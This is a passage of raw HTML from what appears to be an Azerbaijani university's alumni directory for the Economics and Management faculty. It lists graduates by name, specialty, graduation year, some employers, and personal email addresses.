href=\"mailto:gulnar.agayeva.1994@gmail.com\">gulnar.agayeva.1994@gmail.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Bakalavr 2016&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Gülnar Zülfüqarlı</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Mühasibat\r\nvə Audit üzrə sahə xidməti</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<strong> &nbsp;<a href=\"mailto:gzulfugarli@gmail.com\">gzulfugarli@gmail.com</a></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">MBA 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"font-weight: bold; background-image: url(\" \");\"=\"\"><strong>Gülər Rəhimli</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">E-mail:<a href=\"mailto:Gular.rahimli@mail.ru\">Gular.rahimli@mail.ru</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">MBA 2015</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"font-weight: bold; background-image: url(\" \");\"=\"\"><strong>Gülnisə Məmmədli</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><span style=\"color:#252525;font-family:Arial, sans-serif;font-size:13.5pt;background-color:#fffffff\">Maliyyə</span></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">E-mail:&nbsp;<a href=\"mailto:gulnise.memmedeli@gmail.com\">gulnise.memmedeli@gmail.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Bakalavr 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"font-weight: bold; background-image: url(\" \");\"=\"\"><strong>Günel Əliyeva</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">İqtisadiyyat və menecment</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">E-mail:<a href=\"mailto:Gunel8690@mail.ru\">Gunel8690@mail.ru</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Magistr</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Günay Xəlilova&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və Menecment Fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Maliyyə və kredit</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<strong>&nbsp;<a href=\"mailto:gunay-xalilova@msn.com\">gunay-xalilova@msn.com</a></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2010&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Günel Bayramova&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Beynəlxalq&nbsp;İqtisadi Münasibətlər&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Baygroup, International relations department, Brend\r\nüzrə menecer</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<strong>&nbsp;<a href=\"mailto:g.bayramova@yahoo.com\">g.bayramova@yahoo.com</a></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2010&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Gəray Həsənov&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Beynəlxalq&nbsp;İqtisadi Münasibətlər&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">AGBank</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<strong>&nbsp;<a href=\"mailto:Garayvh@agbark.az\">Garayvh@agbark.az</a></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><a href=\"mailto:Garayvh@agbark.az\"></a></strong>Bakalavr 2010</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Günay Fərəcova&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Biznesin Təşkili və&nbsp;İdarəedilməsi&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2010&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><h3 id=\"H\" style=\"font-weight:bold\"><strong>H</strong></h3><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Hüseyn Rzayev</strong></p><p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Menecment,\r\n2017</p>\r\n<p>E-mail:<a href=\"mailto:huseyn_rzayev@bk.ru\">huseyn_rzayev[at]bk.ru</a> </p>\r\n<p>&nbsp;</p>  <p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Həlimə Nəbiyeva</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Maliyyə</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<strong><a href=\"mailto:n-helime@mail.ru\">n-helime@mail.ru</a></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><a href=\"mailto:n-helime@mail.ru\"></a></strong>Bakalavr 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Həsən Bilalov&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Beynəlxalq&nbsp;İqtisadi Münasibətlər&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Hərbi xidmətdədir</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<strong>&nbsp;<a href=\"mailto:hasbil_sahil@mail.ru\">hasbil_sahil@mail.ru</a></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2011&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Hikmət Tağıyev</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və menecment</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<strong>&nbsp;<a href=\"mailto:sshikmet@azercell.com\">sshikmet@azercell.com</a></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><a href=\"mailto:sshikmet@azercell.com\"></a></strong>MBA 2008</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Hüseyn Tağizadə</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Maliyyə</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<strong>&nbsp;<a href=\"mailto:huseyn.tagizade@gmail.com\">huseyn.tagizade@gmail.com</a></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2016&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"font-weight: bold; background-image: url(\" \");\"=\"\"><strong></strong></p><h3 id=\"X\" style=\"font-weight:bold\"><strong>X</strong></h3><p style=\"background:undefined \"><strong>Xəqani Qasimov</strong></p><p>İqtisadiyyat və Menecment Fakültəsi</p><p>İqtisadiyyat, 2017</p><p>E-mail:&nbsp;<a href=\"mailto:khagani.gasimov@gmail.com\">khagani.gasimov[at]gmail.com</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Xalidə Qəhrəmanlı</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və Menecment Fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">EY şirkəti/Auditor</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<strong>&nbsp;<a href=\"mailto:xgahramanli@hotmail.com\">xgahramanli@hotmail.com</a></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2015</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Xədicə Həsənova</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Mühasibat uçotu və audit</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<strong> &nbsp;<a href=\"mailto:khadijahasanova@gmail.com\">khadijahasanova@gmail.com</a></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2016&nbsp; (Fərqlənmə)</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Xəndan Qüvvətli</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Beynəlxalq iqtisadi münasibətlər</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">MBA 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"font-weight: bold; background-image: url(\" \");\"=\"\"><strong><strong></strong></strong></p><h3 id=\"İ\" style=\"font-weight:bold\">İ</h3><p><strong>İlkin Quliyev </strong></p>\r\n<p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Maliyyə, 2017</p>\r\n<p>E-mail: <a href=\"mailto:ilkin.quliyev77@gmail.com\">ilkin.quliyev77[at]gmail.com</a></p>\r\n<p><strong><br></strong></p><p><strong>İzabella Binyaminova </strong></p>\r\n<p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Biznesin təşkili və idarə edilməsi, 2017</p>\r\n<p>E-mail:<a href=\"mailto:bellabin.bb@gmail.com\">bellabin.bb[at]gmail.com</a></p>\r\n<p><strong>&nbsp;</strong>&nbsp;</p>\r\n<p><strong>İsmət İsmayılov</strong></p>\r\n<p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Biznesin idarə edilməsi, 2017</p>\r\n<p>E-mail: <a href=\"mailto:ismet.izmaylov@gmail.com\">ismet.izmaylov[at]gmail.com</a> </p>\r\n<p><strong><br></strong></p><p><strong>İlfan&nbsp;</strong><strong>Qarayev&nbsp;</strong></p>\r\n<p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Maliyyə Menecmenti, 2017</p>\r\n<p>E-mail: <a href=\"mailto:ilfan90@hotmail.com\">ilfan90[at]hotmail.com</a> </p>\r\n<p>Socar Foster Viler Muhendislik MMC\r\n-Muhasib</p>\r\n<p><strong><br></strong></p><p><strong>İlhamə</strong>&nbsp;<strong>Rüstəmli&nbsp;</strong></p>\r\n<p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Beynəlxalq İqtisadi Münasibətlər,\r\n2017</p>\r\n<p>E-mail: <a href=\"mailto:ilhama1990@gmail.com\">ilhama1990[at]gmail.com</a> </p>\r\n<p>&nbsp;</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"font-weight: bold; background-image: url(\" \");\"=\"\"><strong>İnci Yusifli</strong><strong></strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Biznesin təşkili və idarə edilməsi</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">E-mail: &nbsp;<a href=\"mailto:inciyusifli@yahoo.com\">inciyusifli@yahoo.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Bakalavr 2016&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>İbrahim Ağayev&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və Menecment Fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Maliyyə və kredit&nbsp;</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2009</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>İlahə Məmmədova&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Biznesin Təşkili və İdarəedilməsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Türkiyə</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<strong>&nbsp;&nbsp;<a href=\"mailto:ilahe_memmedova@hotmail.com\">ilahe_memmedova@hotmail.com</a></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2009</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>İsrafil İsgəndərov</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Biznesin Təşkili və&nbsp;İdarəedilməsi&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Biznesin\r\ninkişafı üzrə təlimçi və məsləhətçi/Ümid, Sosial İnkişafa Yardım QHT </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<strong>&nbsp;&nbsp;<a href=\"mailto:iisgenderov@yahoo.com\">iisgenderov@yahoo.com</a></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2009</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>İmidə Kamanlı</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və Menecment Fakültəsi&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<strong>&nbsp;<a href=\"mailto:imidekamanli@yahoo.com\">imidekamanli@yahoo.com</a></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2015</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>İsa Mustafayev</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Mühasibat uçotu və audit</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<strong> &nbsp;<a href=\"mailto:isamustafayev@hotmail.com\">isamustafayev@hotmail.com</a></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2016&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>İlkin Əliyev</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və menecment</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Quba\r\nÖzəl Türk məktəbi, ingilis dili müəllimi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<strong><a href=\"mailto:ilkin_267@yahoo.com\">ilkin_267@yahoo.com</a></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2008</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>İradə Kavak (Kazimova)</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Menecment</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">MBA 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>İradə Qurbanova</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Beynəlxalq İqtisadi Münasibətlər</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<strong> &nbsp;<a href=\"mailto:irade000@hotmail.com\">irade000@hotmail.com</a></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">MBA 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>İlham Zeynalov</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Caspian Pipe Coatings LLC</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<strong>&nbsp;<a href=\"mailto:izeynalov@cpc.az\">izeynalov@cpc.az</a>&nbsp;\r\n,&nbsp;<a href=\"mailto:izeynalov@mail.ru\">izeynalov@mail.ru</a></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">MBA 2008</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>İmran Məmmədov</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Maliyyə</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Gilan holding-böyük mühasib</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<strong> &nbsp;<a href=\"mailto:Imranmamdov@yahoo.com\">Imranmamdov@yahoo.com</a></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">2012</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>İrina&nbsp;Sofiyeva&nbsp;</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">İqtisadiyyat və menecment</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Britaniya Səfirliyi, Mühasib</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<strong><a href=\"mailto:Irina.sofiyeva@yahoo.com\">Irina.sofiyeva@yahoo.com</a>&nbsp;;&nbsp;<a href=\"mailto:Irina.sofiyeva@fco.gov.uk\">Irina.sofiyeva@fco.gov.uk</a></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">MBA 2008</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>İlona Həsənova&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və Menecment Fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Maliyyə və kredit</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Paul Mitchell in Azerbaijan, Menecer</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<strong>&nbsp;</strong><a href=\"mailto:ilonagasanova@hotmail.com\">ilonagasanova@hotmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2011&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p style=\"background:#fffffff;margin-bottom:7.5pt;line-height:normal\"><strong><span lang=\"AZ-LATIN\" style=\"font-size:13.5pt;font-family:Arial, sans-serif;color:#252525\">İlham&nbsp;&nbsp;<strong>Zeynalov</strong></span></strong></p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">İqtisadiyyat və menecment</p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Caspian Pipe Coatings LLC</p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:<a href=\"mailto:izeynalov@cpc.az\">izeynalov@cpc.az</a>&nbsp;,&nbsp;<a href=\"mailto:izeynalov@mail.ru\">izeynalov@mail.ru</a></p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"mailto:izeynalov@mail.ru\"></a>MBA 2008</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><br><h3 id=\"K\" style=\"font-weight:bold\">K</h3><p><strong>Kseniya Sorokina </strong><o:p></o:p></p><p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Mühasibat\r\nuçotu və audit, 2017</p>\r\n<p>E-mail: <a href=\"mailto:kseniyasor18@gmail.com\">kseniyasor18[at]gmail.com</a> </p>\r\n<p>Sinteks MMC&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p><strong>Kənan İsmayılzadə </strong></p>\r\n<p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Mühasibat\r\nuçotu və audit, 2017</p>\r\n<p>E-mail: <a href=\"mailto:%C4%B0smayilzade-94@mail.ru\">İsmayilzade-94[at]mail.ru</a>&nbsp;&nbsp;\r\n</p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong>Kənan Məmmədov </strong></p>\r\n<p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Biznesin idarə edilməsi, 2017</p>\r\n<p>E-mail: <a href=\"mailto:kananmv28@gmail.com\">kananmv28[at]gmail.com</a> </p>\r\n<p>&nbsp;</p><p><strong>Kənan Hacıyev </strong></p>\r\n<p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Biznesin idarə edilməsi, 2017</p>\r\n<p>E-mail: <a href=\"mailto:Kenan_haciyev_1994@bk.ru\">Kenan_haciyev_1994[at]bk.ru</a> </p>\r\n<p>Baykon\r\nİnşaat MMC</p>\r\n<p>&nbsp;</p>\r\n<p><strong><br></strong></p><p><strong>Kamilla Lətifova </strong></p>\r\n<p>İqtisadiyyat və Menecment Fakültəsi</p>\r\n<p>Marketinq,\r\n2017</p>\r\n<p>E-mail: <a href=\"mailto:kamilla.liatifova@gmail.com\">kamilla.liatifova[at]gmail.com</a>&nbsp; </p>\r\n<p><strong><br></strong></p><p><strong>Kənan Bilalov </strong></p>\r\n<p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Biznesin idarə edilməsi,\r\n2017</p>\r\n<p>E-mail: <a href=\"mailto:kbilalov@bk.ru\">kbilalov[at]bk.ru</a> </p>  <p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Kenine Jones Emeka</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və Menecment&nbsp;,&nbsp;Biznesin Təşkili və\r\nidarəedilməsi&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2009</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Kamal Əhmədov&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və Menecment Fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Maliyyə və kredit</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İngiltərə</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<strong>&nbsp;&nbsp;<a href=\"mailto:kamal_ahmadov@hotmail.com\">kamal_ahmadov@hotmail.com</a></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr<strong> </strong>2010&nbsp;<span style=\"font-weight:bold\">&nbsp;</span></p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Kənan Musayev&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Biznesin Təşkili və&nbsp;İdarəedilməsi&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Rotapharm Pharmaceutical şirkətində maliyyəçi</p>\r\n<p style=\"\" 